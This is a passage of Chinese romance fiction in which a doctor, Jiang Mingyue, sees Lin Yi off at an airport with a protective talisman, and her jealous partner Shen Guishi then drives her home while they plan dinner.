沈归时在看见林逸之后,将圈着江明月细腰的那条手臂收得更紧了。 隔着一段社交距离,林逸的目光只落在江明月的身上,眼底光华湛然。 “江小姐,谢谢你能来送我。这段时间在医院让你费心了。” “没事儿,不用客气。”江明月从包里找出一个红色的小信封,“这个给你。” 林逸没接,只问道:“是什么?” 看着像个红包。厚度并不厚,应该不会是现金,但也难保不是存单支票之类的有价单证。 如果是钱,他就不收了。 “平安符。”江明月又将红信封往前递了递,“你拿着。” 林逸顶不住她催促的目光,伸手接过信封。 “有什么用?”他问。 江明月理所当然地说:“就是护身符啊,你带在身边,一定会平平安安的。” 林逸不禁笑了:“你一个医生还信这些?” “当然了,俗话说得好,医学的尽头是玄学。我那个同事小毛,每次值急诊夜班都要在桌上放四个苹果,寓意‘四平八稳’。” 江明月闲聊般地说着,“这个平安符我也是听一个病人说的,说县医院附近那座山上的道观很灵,出院以后去请一个平安符带着,以后就会无病无灾了。我想你肯定没时间去什么道观,所以帮你请了一个。林逸,希望你余生平安、健康、顺遂。” 林逸慢慢收了笑,江明月能感觉到他的郑重与动容。 “谢谢。” 登机时间快到了。有个工作人员小跑过来,说:“林先生,飞机就要起飞了,请您抓紧时间安检。” 沈归时终于开口:“林先生快去吧,别错过了航班。海城还有很多事情等着你处理,不是吗?” 林逸又看了一眼那只扣在江明月腰上的手。 他听见自己气息顿了顿,然后轻声道别:“再见。” 江明月笑着说:“海城见。” 林逸跟随工作人员走向要客安检通道。 他的手伸进风衣口袋,捏紧那个红信封。信封的边角微硬,戳着他的掌心。 他忽然停住脚步。 三三两两的旅客从他面前经过,传来一阵愉悦的谈笑声。 但世界好像被调成了静音模式。 他听不见更多的声音。只有一句话在心底轰然回响。 林逸,希望你余生平安、健康、顺遂。 他不甘心就这么告别。 不远处,沈归时不知和江明月说了什么,江明月露出冥思苦想的神色。 林逸出声喊她:“明月!” 这个称呼…… 江明月霍地抬头。 “再见。”林逸又说了一次。 他停顿一秒,深沉的眼底浮出恣肆的笑意,“维佳木。” 江明月彻底愣住。 再见。 维佳木。 我爱你- 沈归时抬手在江明月眼前晃了晃,语气酸溜溜的:“人都走远了,还看啊?” 江明月捉住眼前那只手,笑了笑,没说话。 两人手牵着手往机场出口走。 沈归时捏着她的指尖:“我刚刚问了你什么你还记得吗?” 江明月微微恍惚:“啊?” 沈归时提醒:“我刚刚问你晚上想吃什么,我给你做。” 江明月说:“想吃清蒸鱼。” “还有呢?” “再来个汤?蔬菜汤就行。” “好。” “我们直接开到菜市场去买菜吧。” “行,你顺便看看还有没有别的想吃的,一起买。” 两人走到停车场。 车还是他们之前为了出游临时租的那一辆。县城交通不便,有辆车确实方便了很多。这车开起来还算顺手,所以两人又续租了半年。 天气晴好,秋高风凉。 露天的停车场空旷安静。 江明月正要开车门坐进去,就被沈归时翻过来按在车门上。他低下头深吻她。 江明月指着不远处,含混不清地说了句:“好像有摄像头……” 沈归时收敛了些,拉开车门,让江明月进去。 他倾身为她扣安全带,贴耳相问:“你什么时候去请的平安符啊?” 安全带扣在身上自动收紧,带来了轻微的束缚感,江明月如临审讯。 “就前两天……林逸说准备回海城了,刚好有病人出院了,说要去道馆请个平安符,我就……顺便去了一趟。” “刚好?顺便?”沈归时幽幽地说,“你还挺记挂林逸。” 江明月知道这人又开始乱吃醋了。 她放软语气哄人:“那个道观在半山腰,风景还不错。等下个休息日我们一起去,给你也请一个平安符,怎么样?” 沈归时不知怎的想起了那对蓝宝石袖扣。 “我想要独一无二的。” “比如呢?” “有没有夫妻和合符?我想求这个。希望我们感情和睦,恩爱长久。” 江明月莞尔:“这个本来就有,不用再求。” 沈归时也跟着弯起了唇:“那你再多请几个平安符。给爸妈、亲戚朋友、还有你熟悉的同事,都请一份。” 反正不能让林逸再拥有什么全世界独一无二的东西了。 他提到的“爸妈”特指江明月的父母。江明月心中柔暖:“好啊。” 沈归时从另一侧上车,刚按下启动按钮,就听江明月冷不丁地冒出一句:“林逸他恢复记忆了,这平安符还真挺灵的。” 沈归时轻声冷笑:“他肯定早就想起来了。” 或者根本就没失忆。 “啊?” “脑子是人体最重要的记忆器官,他脑子又没受伤,就算因为长时间深度昏迷失忆了,也不会持续很久,理论上很快就会恢复记忆,不可能拖这么长时间。” “那他恢复了为什么不说?” “谁知道他。” 江明月的手肘撑着车窗,微不可闻地吐出一口气,像是叹息。 车子上高速了。 江明月忽然想起自己前两天买了个车载小风扇,就在她包里。 她在托特包里翻找一阵,找到了那个小熊造型的风扇。拆掉外包装,夹在中控台上方的出风口。 “待会儿去菜市场看看有没有大闸蟹卖,这个季节也该上市了。”沈归时记得江明月爱吃这个,“买几只回去清蒸。” 江明月思索道:“那还要买把剪刀。宿舍好像没有专门剪食物的剪刀。” 她吃蟹从来不用那些花里胡哨的工具,但还是习惯用一把剪刀剪开蟹腿。 “有的。” “有?” “我前几天就买好了。我想着秋天到了,你吃螃蟹的时候肯定用得上。” 江明月靠着座椅上的软枕,偏头去看沈归时。 时近傍晚。 光线带了些橘红色,透过前挡风玻璃,映照在那张她百看不腻的脸上。他的侧颜被光线切割成冷白和橘黄两种颜色,明明暗暗,棱角柔和。 身后不远处的天际,一架飞机穿过云层,朝着海城方向越飞越远。 眼前车道空旷,晴空无云。高速两侧群山连绵,秋色斑斓。 出风口的小风扇悠悠转着,转过了宁静悠长的时光。